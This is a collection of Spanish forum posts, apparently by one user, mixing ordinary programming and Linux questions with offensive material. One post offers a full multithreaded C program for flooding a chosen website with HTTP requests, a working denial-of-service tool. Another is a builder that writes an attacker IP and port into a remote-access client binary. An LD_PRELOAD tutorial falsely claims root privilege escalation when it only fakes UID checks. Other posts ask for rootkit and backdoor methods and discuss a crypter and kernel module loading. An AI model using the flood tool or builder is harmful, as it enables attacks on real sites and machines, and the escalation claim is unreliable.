Temas

¿Están la mayoría de las ONG vinculadas a la religión, o por el contrario la mayoría son laicas? No he podido encontrar una respuesta a esta cuestión, a ver si alguien sabe algo.

Saludos.

¿Alguien sabe cómo solucionar una ecuación del tipo x^x = k, con k y x ∊ ℝ?

Saludos.

¿Hay algún servidor de correo anónimo y que respete la privacidad, alternativo a los de las grandes compañías?

Tengo instalado Apache en Ubuntu 13.10, y consigo ver el index de mi página en el navegador, pero solo aparecen las fuentes por defecto. Cuando analizo las peticiones, me doy cuenta de que el navegador pide las fuentes, que están en un subdirectorio llamado fonts, pero Apache devuelve '403 Forbidden'.

Llevo un buen rato intentando solucionar esto pero no puedo, ¿cuál puede ser el problema?

¿Existe alguna forma más o menos estándar de introducir diagramas de barras, circulares, etc. en una página web?

Saludos.

¿Cómo puedo hacer que el cuerpo aparezca en el centro de la página? Es decir, que tenga márgenes tanto por los lados como por arriba y por abajo, y de la misma anchura.

Saludos.

Pues bien, el problema es que tengo un div con imágenes a tamaño 80x80px, a las que aplico la siguiente transición:

Código (css) [Seleccionar] Expandir


.galleryPhoto
{
  transition: transform 1s ease-in-out 0.1s;
  margin: 5px;
}

.galleryPhoto:hover
{
  transform: scale(3);
}


La idea es crear una especie de galería con miniaturas, de forma que al pasar el ratón por una imagen se haga más grande.

Pero este div está dentro de una section, y al ampliarse las fotos, estas aparecen cortadas en el límite de la section. Esto no sucede si le pongo la propiedad overflow como visible a la sección, pero quiero que esté en auto para poder poner texto y que aparezcan barras de desplazamiento en caso de necesidad (lo cual es más que probable).

Saludos.

Hola, hace poco se ha cerrado un post sobre una noticia en el que había un debate más o menos serio y no parecía haberse producido ninguna falta de respeto, concretamente este: Muere un trabajador menor de edad en una de las plantas donde se fabrica el iPhone 5C.

Si es posible me gustaría saber por qué.

Gracias.

Bien, pongámonos en situación: imagina que te sientas delante de tu ordenador, con un SO Unix/Linux, y te dispones a comprometerlo (entiéndase obtener privilegios root, contraseñas, incluso instalar rootkits o backdoors, etc...). Tienes todo el tiempo y el café del que quieras disponer.

¿Qué métodos se te ocurren probar teniendo acceso local como un usuario normal?

Gracias de antemano.

Los ciberdelincuentes utilizan un nuevo backdoor de Linux

Alguien tiene más información sobre el funcionamiento de este backdoor o puede conseguir el binario?

Gracias.

Bueno, pues alguien sabe de algún IDE que soporte completamente C++ 11?

[mainwindow.hpp]

Bueno, tal y como me han pedido, aquí pongo el código de un server builder en Qt para Linux.

Lo primero, el código del server:

Código (c) [Seleccionar] Expandir

#include <iostream>
#include <iomanip>

static char ip[30] __asm__("__IP__") = "__IP__ here";
static char port[30] __asm__ ("__PORT__") = "__PORT__ here";

int main(int argc, char **argv)
{

std::cout << "ip address: " << std::hex << (void*) ip << std::endl;
std::cout << "port address: " << std::hex << (void*) port << std::endl;

std::cout << "IP: " << ip << std::endl;
std::cout << "Port: " << port << std::endl;


/* ... */

return 0;
}

Analicemos el código: tiene dos variables globales, para asegurarnos de que esas variables van a ser incluidas en la sección .data del ejecutable como símbolos. También nos aseguramos de que estos símbolos tengan el nombre que queramos ("__IP__" y "__PORT__") con la directiva de ensamblador.

Las cadenas que les asigno son para que se puedan ver en un editor hexadecimal.

Bien, ahora el builder, que se va encargar de que cuando ejecutemos el server, en esas dos variables estén la IP y el puerto.

mainwindow.hpp

Código (cpp) [Seleccionar] Expandir

#ifndef MAINWINDOW_HPP
#define MAINWINDOW_HPP

#include <QMainWindow>
#include <QWidget>
#include <QVBoxLayout>
#include <QLineEdit>
#include <QPushButton>

#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <elf.h>
#include <stdint.h>
#include <cstring>

#include <iostream>
#include <iomanip>

class MainWindow : public QMainWindow
{
   Q_OBJECT
   
public:
   MainWindow(QWidget *parent = 0);
   ~MainWindow();

public slots:
   void onButton();

private:
   QWidget     *centralWidget; // Central widget
   QVBoxLayout *layout;        // Window's layout
   QLineEdit   *ipEdit;        // Edit for the IP
   QLineEdit   *portEdit;      // Edit for the port
   QPushButton *button;        // Button to build the server
};

#endif // MAINWINDOW_HPP

mainwindow.cpp

Código (cpp) [Seleccionar] Expandir

#include "mainwindow.hpp"

MainWindow::MainWindow(QWidget *parent)
   : QMainWindow(parent)
{
   /* Constructor to build the GUI */

   centralWidget = new QWidget();
   layout = new QVBoxLayout();

   ipEdit = new QLineEdit();
   portEdit = new QLineEdit();

   button = new QPushButton("Build!");

   layout->addWidget(ipEdit);
   layout->addWidget(portEdit);
   layout->addWidget(button);

   centralWidget->setLayout(layout);
   setCentralWidget(centralWidget);

   connect(button, SIGNAL(clicked()), this, SLOT(onButton()));
}

MainWindow::~MainWindow()
{
   /* Delete reserved objects */

   delete ipEdit;
   delete portEdit;
   delete button;
   delete layout;
   delete centralWidget;
}

void MainWindow::onButton()
{
   int fdIn, fdOut; // Input and output files

   fdIn = open("server", O_RDONLY); // Open input file

   struct stat st;
   fstat(fdIn, &st); // Get input file size

   /* Map input file into memory */
   void *map = mmap(0, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fdIn, 0);

   Elf32_Ehdr *hdr = (Elf32_Ehdr*) map; /* Get the ELF header,
                                           that's at the start of the file*/

   /* Get pointer to the ELF sections */
   Elf32_Shdr *sections = (Elf32_Shdr*) ((char*) map + hdr->e_shoff);

   /* Get pointer to the .shstrtab section content */
   char *shStrTabData = (char*) map+sections[hdr->e_shstrndx].sh_offset;

   Elf32_Shdr tabs[2]; // First symtab, second strtab


   /* Find and save .symtab and .strtab sections */
   const char *sectionNames[] = {".symtab", ".strtab"};
   for(int i=0; i<2; i++)
   {
       for(int j=0; j<hdr->e_shnum; j++)
       {
           if(!strcmp(shStrTabData+sections[j].sh_name, sectionNames[i]))
           {
               tabs[i] = sections[j];
               break;
           }
       }
   }

   //std::cout << ".symtab at offset " << std::hex << tabs[0].sh_offset << std::endl;
   //std::cout << ".strtab at offset " << std::hex << tabs[1].sh_offset << std::endl;

   /* Get pointer to the .strtab section content */
   char *strTabData = (char*) map + tabs[1].sh_offset;

   /* Get pointer to the symbols in the .symtab section */
   Elf32_Sym *syms = (Elf32_Sym*) ((char*) map + tabs[0].sh_offset);

   Elf32_Sym toModify[2]; // First __IP__, second __PORT__

   const char *symbolNames[] = {"__IP__", "__PORT__"};


   // Find and save the symbols we want to modify
   for(int i=0; i<2; i++)
   {
       for(unsigned int j=0; j<(tabs[0].sh_size/sizeof(Elf32_Sym)); j++)
       {
           if(!strcmp(strTabData+syms[j].st_name, symbolNames[i]))
           {
               toModify[i] = syms[j];
           }
       }
   }

   //std::cout << "__IP__ value: " << std::hex << toModify[0].st_value << std::endl;
   //std::cout << "__PORT__ value: " << std::hex << toModify[1].st_value << std::endl;

   Elf32_Off ipOff, portOff;


   /* Find symbols offsets: get symbol offset into the section that
      contains the symbol: symbol_address - section_base_address; and then
      add the offset of the section into the file                       */
   ipOff = toModify[0].st_value - sections[toModify[0].st_shndx].sh_addr +
           sections[toModify[0].st_shndx].sh_offset;

   portOff = toModify[1].st_value - sections[toModify[1].st_shndx].sh_addr +
           sections[toModify[1].st_shndx].sh_offset;

   //std::cout << "__IP__ section: " << shStrTabData+sections[toModify[0].st_shndx].sh_name << std::endl;
   //std::cout << "__PORT__ section: " << shStrTabData+sections[toModify[1].st_shndx].sh_name << std::endl;


   //std::cout << "__IP__ offset: " << std::hex << ipOff << std::endl;
   //std::cout << "__PORT__ offset: " << std::hex << portOff << std::endl;

   // Put the text in the edit in the file at the offsets
   strcpy((char*) map+ipOff, ipEdit->text().toStdString().c_str());
   strcpy((char*) map+portOff, portEdit->text().toStdString().c_str());


   /* Open output file and write the memory map to it */
   fdOut = open("server-built", O_TRUNC|O_CREAT|O_WRONLY, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IROTH);

   write(fdOut, map, st.st_size);

   ::close(fdOut);


   munmap(map, st.st_size);

   ::close(fdIn);
}


main.cpp

Código (cpp) [Seleccionar] Expandir

#include "mainwindow.hpp"
#include <QApplication>

int main(int argc, char *argv[])
{
   QApplication a(argc, argv);
   MainWindow w;
   w.show();
   
   return a.exec();
}

Lo primero, este último código funciona sólo para ejecutables de 32 bits, pero se puede portar fácilmente.

¿Cómo funciona?

Pues los ejecutables ELF suelen tener una tabla de strings con los nombres de todas las secciones (la sección .shstrtab). Con esa tabla, encontramos las secciones .symtab (la tabla de símbolos) y la .strtab (la tabla de strings de símbolos).

Comparando los nombres de cada símbolo con los que hay en la tabla, encotramos los dos que queremos modificar. No tenemos el offset de estos símbolos directamente, así que tenemos que hallarlo. Tenemos la dirección del símbolo una vez cargado en memoria, la sección en la que se encuentra este símbolo (y por tanto la dirección de esta sección en memoria y el offset de esta sección en el archivo); así que hacemos la siguiente cuenta:

       Dirección del símbolo - Dirección base de la sección + Offset de la sección en el archivo

Eso corresponde a esta parte del código:

Código (cpp) [Seleccionar] Expandir

ipOff = toModify[0].st_value - sections[toModify[0].st_shndx].sh_addr +
          sections[toModify[0].st_shndx].sh_offset;

  portOff = toModify[1].st_value - sections[toModify[1].st_shndx].sh_addr +
          sections[toModify[1].st_shndx].sh_offset;

Luego escribimos el texto de los edits en el mapa de memoria en el offset de cada símbolo, de forma que cuando se carguen en memoria contengan esos datos, y nuestro server pueda conectar a la IP y por el puerto indicado.

Bueno, hace falta conocimiento del formato ELF para entender esto totalmente, así que más información aquí y también se pueden preguntar dudas.

Saludos!

Pues eso, la sugerencia sería volver a hacer un concurso como este: http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html

A ver que os parece.

Saludos.

Buenas, tengo una duda, a ver si me podeis ayudar:

Tengo un array en memoria, y tengo que abrir un hueco de n bytes, en el offset m del array, desplazando los bytes del array desde la posición m hacia adelante, n posiciones cada uno.

Cómo se hace esto?

Tal vez la explicación es un tanto confusa, si no lo entendéis decidmelo.

Saludos!

Bueno pues resulta que el viernes que viene tenemos una clase de una asignatura llamada "Métodos de Laboratorio", en la que hacemos experimentos de Física y Química, y el profesor nos ha dicho que la proxima clase podemos hacer los experimentos que queramos (excluyendo bombas y demas instrumentos que pongan en peligro la integridad fisica xD).

Asi que abro este post para que me propongais experimentos interesantes que se puedan realizar en un laboratorio de instituto.

Y tambien podeis proponer bombas y esas cosas, si no las hago en la clase tal vez las haga caseras.

Saludos!

PD: Con bombas no quiero decir bombas nucleares ni para cometer atentados, cosas razonables xD

Pues resulta que hace tiempo que quiero probar FreeBSD, pero no quiero arriesgarme a cargarme el disco duro de mi netbook, y quisiera saber si puedo instalar FreeBSD en un disco duro externo de 500 GB que tengo libre.

Saludos.

Bueno ya que C++11 es bastante nuevo dejo este ejemplo de generacion de numeros aleatorios:

Código (cpp) [Seleccionar] Expandir

#include <iostream>
#include <random>
#include <cstdlib>
#include <ctime>

int main(int argc, char **argv)
{
std::mt19937 rng;
std::srand(time(NULL));
uint32_t seed = std::rand();
rng.seed(seed);

uint32_t stats[10] = {0}, current;

std::cout << "*** Random number generation test ***" << std::endl;

std::uniform_int_distribution<uint32_t> uint_dist(0, 10);

for(size_t i=0; i<56000u; i++)
{
  current = uint_dist(rng);
  stats[current-1]++;
  std::cout << current << ' ' << std::endl;
}

std::cout << "*** Number of times for each number ***" << std::endl;

size_t i=1;
for(auto x : stats)
{
  std::cout << "$ " << i++ << '\t' << x << std::endl;
}

std::cout << "*** End of the test ***" << std::endl;

return 0;
}

Los resultados son bastante uniformes

[antes]

Bien, pues estaba aburrido y me se me ocurrio que podia probar este viejo truco para ascender privilegios. Me funciono y he decidido hacer un pequeño tutorial como aporte.

Este metodo ha sido probado en un Ubuntu 12.04, y puede ser que en otros sistemas el linker no cargue las librerias de LD_PRELOAD primero si se usa con ejecutables setuid.

Materiales:

- Un compilador de C (se usara gcc)
- Una shell Unix (probado con bash)

1. LD_PRELOAD

LD_PRELOAD es una variable de entorno usada por el ld. ¿Como funciona? Pues si esta variable contiene la ruta de una libreria dinamica, el ld la cargara antes que las otras librerias requeridas por el programa, incluida la libc.

Esto hace que se puedan "sobreescribir" funciones, cambiando el comportamiento de algunos programas. Y esto es lo que vamos a hacer.

2. Accion

Lo que vamos a hacer es "sobreescribir" las funciones getuid y geteuid, para que retornen siempre 0 (indicando que somos root ).

Lo primero que tenemos que hacer es crear una libreria dinamica que sobreescriba estas funciones:

Código (c) [Seleccionar] Expandir


/* hook.c */

#include <sys/types.h>

uid_t getuid()
{
return 0;
}

uid_t geteuid()
{
return 0;
}

Compilamos:

Código [Seleccionar] Expandir

$ gcc -c -fPIC hook.c -o libhook.o
$ gcc -shared -fPIC libhook.o -o libhook.so

Y ejecutamos el bash con LD_PRELOAD seteada:

Código [Seleccionar] Expandir

$ LD_PRELOAD=ruta/a/libreria/libhook.so bash

Salida:

Código [Seleccionar] Expandir

root@computer_name:~# whoami
root

Y voilà!

Bueno espero que les haya gustado, se esperan comentarios

EDIT: Quiza pegue mas en Hacking Linux/Unix o en algun otro subforo, ponganlo donde quieran.

No se porque pero no puedo ver el foro correctamente  Lo veo como si fuera una pagina de estilo basico, no tiene fondo, mas que blanco, y los enlaces y los botones aparecen simplemente escritos y subrayados.

El resto de paginas las veo bien, asi que en principio no parece ser un problema de mi navegador ni de mi ordenador 

A alguien mas le pasa?

Bueno pues la pregunta es si tienen informacion sobre malware en plataformas que no sean Windows, articulos tecnicos, tutoriales, lo que sea seria bien recibido.

Saludos.

PD: Por cierto hay tan poca informacion sobre este tema que se podria poner un recopilatorio de posts que hablan de malware fuera de windows.

Resulta que he comprado un portatil nuevo, concretamente un Lenovo G580 con un i7 y 8GB de RAM  

Pero el problema es que no reconoce la tarjeta de red, y los drivers que proporciona el fabricante no funcionan  

En fin, alguna idea?

Saludos y gracias de antemano!

Edito: Solucionado, hay que conectar el portatil a internet con cable o una tarjeta externa e ir a Sistema->Administracion->Controladores de Hardware, descargarlo todo e instalar y listo.

Bueno pues esa es la pregunta... Por ejemplo he visto que C te permite hacer cosas a bajo nivel sin tener que usar ASM, que en Visual Basic o Delphi es sencillo crear interfaces graficas, que Java tiene muchas cosas de alto nivel y es muy portable...

Bueno os dejo a vosotros que sigais  

PD: Tambien estaria bien que digais que valorais de un IDE o entorno de desarrollo.
PD2: Si alguien dice algo sobre debuggers, tambien estaria bien  

He encontrado una implementacion de strlen en ASM, podriais ayudarme a entenderla?

Código (asm) [Seleccionar] Expandir

; Will return the length of a null-terminated string
; The result will be written to ECX
;
; Usage:
; hello_tmp db "test",0
; ...
; ccall   strlen, hello_tmp
proc  strlen, strInput
mov ecx,-1
mov al,0
mov edi,[strInput]
cld
repne scasb
not ecx
dec ecx
ret
endp

Enlace: http://www.betamaster.us/blog/?p=471

Saludos.

Bueno de casualidad encontre este tutorial: http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html y al probar un ejemplo, concretamente este:

Código (asm) [Seleccionar] Expandir

ehdr:                                                 ; Elf32_Ehdr
                db      0x7F, "ELF", 1, 1, 1, 0         ;   e_ident
        times 8 db      0
                dw      2                               ;   e_type
                dw      3                               ;   e_machine
                dd      1                               ;   e_version
                dd      _start                          ;   e_entry
                dd      phdr - $$                       ;   e_phoff
                dd      0                               ;   e_shoff
                dd      0                               ;   e_flags
                dw      ehdrsize                        ;   e_ehsize
                dw      phdrsize                        ;   e_phentsize
                dw      1                               ;   e_phnum
                dw      0                               ;   e_shentsize
                dw      0                               ;   e_shnum
                dw      0                               ;   e_shstrndx
 
  ehdrsize      equ     $ - $$
 
  phdr:                                                 ; Elf32_Phdr
                dd      1                               ;   p_type
                dd      0                               ;   p_offset
                dd      $$                              ;   p_vaddr
                dd      $$                              ;   p_paddr
                dd      filesize                        ;   p_filesz
                dd      filesize                        ;   p_memsz
                dd      5                               ;   p_flags
                dd      0x1000                          ;   p_align
 
  phdrsize      equ     $ - phdr
 
  _start:
                mov     ebx, 0
                xor     eax, eax
                inc     eax
                int     0x80
 
 
  filesize      equ     $ - $$

En el que se reduce el tamaño del ejecutable a 91 bytes, el programa termina por una señal SIGTERM, si alguien me pudiera decir que porque falla?

Saludos.

Bueno aqui os dejo esta pequeña herramienta que he hecho para ver algunos datos sobre los simbolos de una libreria dinamica o un ejecutable ELF: http://es.wikipedia.org/wiki/Executable_and_Linkable_Format

Cualquier pregunta, comentario o critica constructiva posteen 

Código (c) [Seleccionar] Expandir

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <elf.h>

int main(int argc, char **argv)
{

char *shstrtabdata, *strtabdata, *dynstrdata;
int i, off;
bool strtabf=true, symtabf=true, dynsymf=true;

size_t ret;

Elf32_Ehdr *hdr = malloc(sizeof(Elf32_Ehdr));
Elf32_Shdr shdr, shstrtab, strtab, dynsym, dynstr;
Elf32_Sym sym;

FILE *dyn = fopen(argv[1], "rb");
if(!dyn)
{
  perror("fopen");
  exit(1);
}

fread(hdr, sizeof(Elf32_Ehdr), 1, dyn);
fseek(dyn, hdr->e_shoff+hdr->e_shentsize*hdr->e_shstrndx, SEEK_SET);
fread(&shstrtab, sizeof(shstrtab), 1, dyn);
shstrtabdata = malloc(shstrtab.sh_size);
if(!shstrtabdata)
{
  perror("malloc");
  exit(2);
}
fseek(dyn, shstrtab.sh_offset, SEEK_SET);
fread(shstrtabdata, 1, shstrtab.sh_size, dyn);
fseek(dyn, hdr->e_shoff, SEEK_SET);

fwrite(shstrtabdata, 1, shstrtab.sh_size, stdin);

for(i=0; i<hdr->e_shnum; i++)
{
  fread(&shdr, sizeof(shdr), 1, dyn);
  if(!strcmp(shstrtabdata+shdr.sh_name, ".symtab"))
  {
   printf(".symtab encontrada: offset: 0x%x\n", shdr.sh_offset);
   printf("Tamaño de .symtab: %d\n", shdr.sh_size);
   printf("Numero de sym headers: %f\n", (float) shdr.sh_size/(float) sizeof(Elf32_Sym));
   symtabf = false;
   break;
  }
}

if(symtabf)
{
  printf("sección .symtab no encontrada.\n");
}

fseek(dyn, hdr->e_shoff, SEEK_SET);

for(i=0; i<hdr->e_shnum; i++)
{
  fread(&dynsym, sizeof(dynsym), 1, dyn);
  if(!strcmp(shstrtabdata+dynsym.sh_name, ".dynsym"))
  {
   printf(".dynsym encontrada: offset: 0x%x\n", dynsym.sh_offset);
   dynsymf=false;
   break;
  }
}

fseek(dyn, hdr->e_shoff, SEEK_SET);

for(i=0; i<hdr->e_shnum; i++)
{
  fread(&dynstr, sizeof(dynstr), 1, dyn);
  if(!strcmp(shstrtabdata+dynstr.sh_name, ".dynstr"))
  {
   printf(".dynstr encontrada: offset: 0x%x\n", dynstr.sh_offset);
   printf("Tamaño de .dynstr: 0x%x\n", dynstr.sh_size);
   break;
  }
}

dynstrdata = malloc(dynstr.sh_size);
if(!dynstrdata)
{
  perror("malloc");
  exit(5);
}

fseek(dyn, dynstr.sh_offset, SEEK_SET);
ret = fread(dynstrdata, 1, dynstr.sh_size, dyn);

fseek(dyn, hdr->e_shoff, SEEK_SET);

for(i=0; i<hdr->e_shnum; i++)
{
  fread(&strtab, sizeof(strtab), 1, dyn);
  if(!strcmp(shstrtabdata+strtab.sh_name, ".strtab"))
  {
   printf(".strtab encontrada: offset: 0x%x\n", strtab.sh_offset);
   strtabf = false;
   break;
  }
}

if(strtabf)
{
  printf("sección .strtab no encontrada.\n");
}


if(!strtabf)
{
  strtabdata = malloc(strtab.sh_size);
  if(!strtabdata)
  {
   perror("malloc");
   exit(3);
  }
  fseek(dyn, strtab.sh_offset, SEEK_SET);
  ret=fread(strtabdata, 1, strtab.sh_size, dyn);
  if(ret!=strtab.sh_size)
  {
    perror("fread");
    exit(4);
  }
}


  fseek(dyn, shdr.sh_offset, SEEK_SET);


if(!symtabf)
{
  printf("***Symtab***\n\n");
  i=0;
  while(shdr.sh_size>i)
  {
   ret=fread(&sym, sizeof(sym), 1, dyn);
   i+=sizeof(sym);
   printf("%s\n", strtabdata+sym.st_name);
   printf("Direccion: 0x%x\t", sym.st_value);
   printf("Tamaño: 0x%x\t", sym.st_size);
   if(sym.st_info & STT_NOTYPE) printf("Tipo no definido\t");
   if(sym.st_info & STT_OBJECT) printf("Data object\t");
   if(sym.st_info & STT_FUNC) printf("Funcion\t");
   if(sym.st_info & STT_FILE) printf("Fichero fuente\t");
   printf("\n");
  }
  printf("Numero de simbolos: %d\n", i/16);
}

fseek(dyn, dynsym.sh_offset, SEEK_SET);

if(!dynsymf)
{
  printf("***Dynsym***\n\n");
  i=0;
  while(dynsym.sh_size>i)
  {
   ret=fread(&sym, sizeof(sym), 1, dyn);
   i+=sizeof(sym);
   printf("%s\n", dynstrdata+sym.st_name);
   printf("Direccion: 0x%x\t", sym.st_value);
   printf("Tamaño: 0x%x\t", sym.st_size);
   if(sym.st_info & STT_NOTYPE) printf("Tipo no definido\t");
   if(sym.st_info & STT_OBJECT) printf("Data object\t");
   if(sym.st_info & STT_FUNC) printf("Funcion\t");
   if(sym.st_info & STT_FILE) printf("Fichero fuente\t");
   printf("\n");
  }
  printf("Numero de simbolos: %d\n", i/16);
}

if(!strtabf) free(strtabdata);
free(shstrtabdata);
if(!dynsymf) free(dynstrdata);

return 0;

}

El modo de uso es tan simple como pasarle como argumento la ruta del archivo a analizar.

Saludos!

[youtube=640,360]http://www.youtube.com/watch?v=SsJC5WybRQM[/youtube]

Bueno comparto esta pelicula con vosotros porque me parece que te hace reflexionar sobre el sistema educativo actual, y eso es algo que, si la base de la sociedad es la educacion, es urgente.

La pelicula esta licenciada bajo Creative Commons, cosa que aplaudo.

Bueno disfrutenla, reflexionen y comenten!

Bueno estoy haciendo un pequeño crypter, y tengo que hardcodear un push. Tengo que meter en la pila un puntero al entrypoint del ejecutable, y desensamblando un programa simple para ver cual es el opcode de un push me doy cuenta de que detras del opcode (0x68) se pone el valor que se quiere empujar, pero con los bytes al reves. Entonces un codigo simple como este:

Código (asm) [Seleccionar] Expandir

push 0x80484ee

Genera:

Código (asm) [Seleccionar] Expandir

68 ee 84 04 08

Entonces como puedo, en C o en ASM, darle la vuelta a una direccion de memoria para hardcodear un push?

Puede que ya se hayan dado cuenta pero miren los estados de sus contactos en whatsapp...

Hola!

Veran estoy haciendo un pequeño codigo en asm que debe comprobar si se tienen permisos de root y si los tiene cargar un modulo del kernel. Al parecer hay una syscall que lo hace, la 0x31, pero he optado por llamar a la funcion de C(http://www.kernel.org/doc/man-pages/online/pages/man2/init_module.2.html). Tengo dos problemas:

-No se el tamaño de la struct image, y no lo encuentro por ninguna parte.
-No se con que hay que linkar o que hay que hacer para hacer un call a init_module, el assembler (nasm) me dice: 'symbol "init_module" undefined'.

Y en realidad tengo otro, y es que no se si tengo que rellenar la estructura o algo, no hay ejemplos ni nada, pero con eso ya me apaño.

Código (asm) [Seleccionar] Expandir


extern init_module
section .text
global _start

_start:

xor eax,eax
add eax,0x31
int 0x80
test eax,eax
jz init

exit:
xor eax,eax
inc eax
xor ebx,ebx
or ebx,eax
int 0x80

init:
xor eax,eax
or eax,80
add eax,48
push image
jmp n
m:
call init_module
jmp exit

n:
call m
name:
db "mylkm.o",0



section .bss

image: resb (tamanio de struct image)

Saludos y gracias de antemano

Edit: Tenia que declarar init_module como extern claro :') Ahora el ensamblador no me dice nada, pero el linker me salta con undefined reference to 'init_module'.

Bueno aqui dejo este codigo que he estado haciendo estos dias, espero que les guste, se aceptan sugerencias, criticas constructivas, comentarios... etc. Basicamente crea varios hilos (he llegado a probar hasta 50) y cada uno de estos hilos envia peticiones HTTP a la pagina objetivo.

Código (c) [Seleccionar] Expandir

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <sys/types.h>
#include <stdbool.h>


#define MAX_dani 0xF0000

struct params{ /* En esta estructura se almacenan los parametros de la funcion t*/
  char web[20]; // Dominio web
  int port;  // Puerto (sera el 80, para peticiones HTTP)
  int thread; // El numero de thread
  int nrequests; // El numero de peticiones
  int sleeptime; // El tiempo de espera entre cada peticion
};

int total_requests; // Para almacenar el numero total de peticiones
pthread_mutex_t lock; // Para evitar que varios threads modifiquen total_requests a la vez
int nthreads; // Numero de threads a crear

void* t(void *p) /* Esta es la funcion que va a ejecutar cada thread*/
{
  int n = ((struct params*)p)->thread+1; // El numero de thread
  printf("Proceso %i: presente\n", n); // Presentacion
  char request[128]; // Para almacenar la peticion
  _Bool connected; // Variable auxiliar, indica si el socket esta conectado
  struct hostent *host = gethostbyname(((struct params*)p)->web); // Obtener la IP de la web
  if(!host)
  {
    printf("Proceso %i: No se ha podido resolver la direccion del servidor\n", n);
    return NULL;
  }
  printf("Proceso %i: Direccion IP(v4): %s\n", n, inet_ntoa(*((struct in_addr *)host->h_addr)));
  /*Para getpeername()*/
  struct sockaddr sockbuf;
  int stsize = sizeof(sockbuf);
  /*Preparar los datos de la conexion */
  struct sockaddr_in sock;
  sock.sin_family = AF_INET;
  sock.sin_port = htons(((struct params*)p)->port);
  sock.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)host->h_addr)));

  int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Creamos el socket
if(sockfd==-1)
{
  printf("Proceso %i: No se pudo crear el socket\n", n);
  return NULL;
}
printf("Proceso %i: Socket creado\n", n);
printf("Proceso %i: Conectando...\n", n);
int aux;
connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr)); // Conectamos
printf("Proceso %i: Conectado\n", n);
connected=true;
sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name); // Ponemos la peticion en una cadena
printf("Proceso %i: Peticion en request\n", n);
for(aux=0; aux<(((struct params*)p)->nrequests); aux++)
{
   if(getpeername(sockfd, &sockbuf, &stsize)<0) // Comprobar que el socket esta conectado
   {
     if(errno==ENOTCONN) // Si no lo esta, cerrar y reconectar
     printf("Proceso %i: Reconectando socket...\n", n);
     close(sockfd);
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     if(connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr))==-1)
     {
      connected=false;
      break;
     }
   }
   if(!connected) // Si no se pudo reconectar, decrementar aux y reiniciar el bucle
   {
     aux--;
     continue;
   }
   write(sockfd, request, strlen(request)); // Hacer la peticion HTTP
   printf("Proceso %i: %i peticion/es\n", n, aux+1);
   pthread_mutex_lock(&lock); // Incrementar el numero total de peticiones
   total_requests++;
   pthread_mutex_unlock(&lock);
   sleep(((struct params*)p)->sleeptime); // Pausar
   }
close(sockfd); // Cerrar el socket
pthread_exit(NULL); // Salir
}

int main(int argc, char *argv[])
{
/*Tratamiento de linea de comandos*/
if(argc!=6)
  {
   printf("Uso: %s numero_de_threads dominio_web puerto(80) numero_de_peticiones_por_thread tiempo_de_espera\n", argv[0]);
   exit(0);
  }


/*Inicializar algunas estructuras y parametros*/
pthread_mutex_init(&lock, NULL);
pthread_t *mythreads = (pthread_t*)malloc(atoi(argv[1])*sizeof(pthread_t));
pthread_attr_t a;
struct params *p = (struct params*)malloc(atoi(argv[1])*sizeof(struct params));
int i, ret, j; // Algunas variables auxiliares
nthreads = atoi(argv[1]); // Numero de threads
for(j=0; j<nthreads; j++)
{
  strcpy(p[j].web, argv[2]);
  p[j].thread = j;
  p[j].port = atoi(argv[3]);
  p[j].nrequests = atoi(argv[4]);
  p[j].sleeptime = atoi(argv[5]);
}
/*Setear la cantidad de memoria que un thread puede usar*/
pthread_attr_init(&a);
pthread_attr_setstacksize(&a, MAX_dani);
/*Saber el tiempo que hace que se inicio el programa*/
time_t start=time(NULL), end;
/*Crear los threads*/
for(i=0; i<nthreads; i++)
{
  ret = pthread_create(&mythreads[i], &a, t, &p[i]);
  switch(ret)
  {
   case 0:
    printf("Thread %i creado\n", i+1);
    break;
   case EAGAIN:
    printf("EAGAIN\n");
    _exit(1);
   case EINVAL:
    printf("EINVAL\n");
    _exit(2);
   case EPERM:
    printf("EPERM\n");
    _exit(3);
  }
}
/*Esperar a que terminen los threads, liberar memoria y mostrar algunas estadisticas aproximadas*/
pthread_attr_destroy(&a);
for(j=0; j<nthreads; j++)
pthread_join(mythreads[j], NULL);
end=time(NULL);
pthread_mutex_destroy(&lock);
printf("Retornaron los hilos\n");
printf("Total de peticiones: %i\n", total_requests);
printf("Numero de peticiones por segundo: %lf\n", total_requests/((double)(difftime(end, start))));
free(mythreads);
free(p);
return 0;
}

Saludos!

Bueno pues tengo un programa, lo ejecuto y se corta a la mitad de la ejecucion, y al comprobar el valor de retorno:

Código [Seleccionar] Expandir

echo $?
la salida es 141. ¿Que significa esto?

Saludos.

EDIT: Vale ya lo tengo, se ha enviado una señal SIGPIPE a mi proceso, parece que escribe sobre sockets que no estan conectados. Es decir, se me desconectan los sockets. ¿Puedo tratar de detectar si un socket esta conectado o no y reconectarlo sin que se cierre el programa?¿O de hacer un handler para esta señal?

¿Es correcta esta forma de acceder a los bits de un array?

Código (c) [Seleccionar] Expandir

_Bool bit(char *a, int b)
{
  int index = (b/8)-1;
  if(b%8) index++;
  if((a[index]>>(8-(b%8)))%2) return true;
  return false;
}

a es un puntero a un array de chars a cuyos bits se quiere acceder y b el numero del byte al que se quiere acceder.
Seguramente se puede hacer mas facil, ultimamente he tenido examenes y ando un poco espeso xD

Saludos.

La duda es: ¿como se cambia una variable de entorno en linux mediante codigo C/C++? A ser posible sin tener que llamar a system().

Saludos.

